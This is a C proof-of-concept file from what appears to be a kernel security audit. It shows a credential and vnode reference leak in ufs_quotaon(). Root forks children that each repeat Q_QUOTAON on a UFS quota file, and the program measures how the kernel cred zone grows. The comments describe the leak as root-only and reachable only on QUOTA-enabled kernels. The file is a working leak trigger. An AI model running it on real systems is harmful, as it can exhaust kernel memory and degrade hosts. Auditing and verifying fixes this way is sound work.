DF-0846 / quotaon_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-0846 PoC — Credential + vnode-reference leak in ufs_quotaon() when * Q_QUOTAON re-enables quotas on the SAME already-active quota file path. * * Root cause (sys/vfs/ufs/ufs_quota.c): * ufs_quotaon() does vn_open() [line 425] which takes a fresh vnode ref, * then `if (*vpp != vp) ufs_quotaoff(mp, type);` [line 437]. When the * SAME quota file is re-supplied (*vpp == vp), quotaoff() is SKIPPED, so * the extra vnode ref from vn_open() is never released (vn_close lives * inside quotaoff). Then `ump->um_cred[type] = crhold(cred);` [line 448] * overwrites the stored credential pointer without crfree()-ing the old * one. Each call leaks one cred *reference* + one vnode *reference*. * * crhold()/vn_open() only bump refcounts on existing objects, so the leak * does not allocate new structs on every call. To make the leak * observable in the kernel "cred" zone count, this PoC forks N children * that each obtain a DISTINCT cred (via setresgid -> crcopy), perform the * leaky re-Q_QUOTAON M times (inflating their own cred's cr_ref by M and * never letting it drop back to 0), and exit. Because the child's cred * refcount is pinned by the leaked references, it can never be freed -> * the cred struct leaks permanently and the "cred" zone Count grows by N. * * REACHABILITY: the Q_QUOTAON dispatch in ufs_quotactl() (ufs_vfsops.c:77) * is #else-gated on `options QUOTA`. The default X86_64_GENERIC config * does NOT include it (only LINT64 does); on the stock kernel * quotactl(Q_QUOTAON) returns EOPNOTSUPP and ufs_quotaon() is never * reached. The running GENERIC kernel's ufs_quotactl is literally the * stub `mov $0x2d,%eax ; retq`. To exercise the bug this PoC must be run * on a kernel built with `options QUOTA` AND against a UFS mount (the * audit guest's / is hammer2; /boot is ufs). * * Even on a QUOTA kernel the dispatcher requires * caps_priv_check(SYSCAP_NOQUOTA_WR) -> root. This is a root-only * resource leak, not a privilege boundary crossing. * * Usage: ./quotaon_leak [children] [iters_per_child] * run as root on a QUOTA-enabled kernel; prints cred-zone count delta. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/wait.h> #include <vfs/ufs/quota.h> #include <err.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define QUOTA_FILE "/boot/quota.user" #define MOUNT_POINT "/boot" /* Read the kernel "cred" malloc-zone live count from `vmstat -m`. */ static long cred_count(void) { FILE *fp; char line[256]; long count = -1; fp = popen("vmstat -m 2>/dev/null", "r"); if (fp == NULL) return -1; while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, "cred") != NULL && strstr(line, "Memory") == NULL) { char *p = line; while (*p == ' ' || *p == '\t') p++; while (*p && *p != ' ' && *p != '\t') p++; while (*p == ' ' || *p == '\t') p++; count = strtol(p, NULL, 10); break; } } pclose(fp); return count; } static void leak_child(int iters) { int i; /* Distinct cred: setresgid forces crcopy() to materialize a new * struct ucred. We keep uid=0 so caps_priv_check(SYSCAP_NOQUOTA_WR) * still grants root. getpid() makes the gid (and thus the cred) * unique per child. */ if (setresgid(getpid() & 0xfffe, getpid() & 0xfffe, 0) < 0) err(2, "child setresgid"); for (i = 0; i < iters; i++) { if (quotactl(MOUNT_POINT, QCMD(Q_QUOTAON, USRQUOTA), 0, QUOTA_FILE) < 0) err(2, "child quotactl iter %d", i); } /* On exit, curproc's cred gets crfree()'d once, but its cr_ref was * pinned by `iters` leaked references in um_cred[type] overwrites -> * the cred struct can never reach ref 0 and is leaked permanently. */ _exit(0); } int main(int argc, char **argv) { int nchild = (argc > 1) ? atoi(argv[1]) : 60; int iters = (argc > 2) ? atoi(argv[2]) : 30; int fd, i, status, rc; long before, after; if (geteuid() != 0) errx(2, "must run as root (Q_QUOTAON requires SYSCAP_NOQUOTA_WR)"); fd = open(QUOTA_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) err(2, "open %s", QUOTA_FILE); close(fd); /* Turn quotas ON once; establishes um_quotas[type] == vp so the * subsequent same-path calls hit the *vpp == vp branch. */ rc = quotactl(MOUNT_POINT, QCMD(Q_QUOTAON, USRQUOTA), 0, QUOTA_FILE); if (rc < 0) { int e = errno; warn("initial quotactl(Q_QUOTAON) errno=%d (%s)", e, strerror(e)); if (e == EOPNOTSUPP) errx(3, "EOPNOTSUPP: target '%s' is not UFS or kernel " "lacks `options QUOTA` (default GENERIC). /boot is " "UFS on this guest; needs a QUOTA kernel.", MOUNT_POINT); } before = cred_count(); printf("=== DF-0846 Q_QUOTAON same-path leak ===\n"); printf("children=%d iters/child=%d cred count BEFORE: %ld\n", nchild, iters, before); for (i = 0; i < nchild; i++) { pid_t pid = fork(); if (pid < 0) err(2, "fork"); if (pid == 0) leak_child(iters); while (waitpid(pid, &status, 0) < 0 && errno == EINTR) ; } /* turn quotas off so the mount is left clean */ quotactl(MOUNT_POINT, QCMD(Q_QUOTAOFF, USRQUOTA), 0, 0); after = cred_count(); printf("cred count AFTER : %ld\n", after); printf("cred delta : %ld (vulnerable kernel ~= +%d)\n", after - before, nchild); if (after - before > nchild / 2) printf("VERDICT: LEAK CONFIRMED (distinct leaked cred structs ~= " "children)\n"); else printf("VERDICT: no leak (cred count ~flat -> fix in effect)\n"); return 0; } |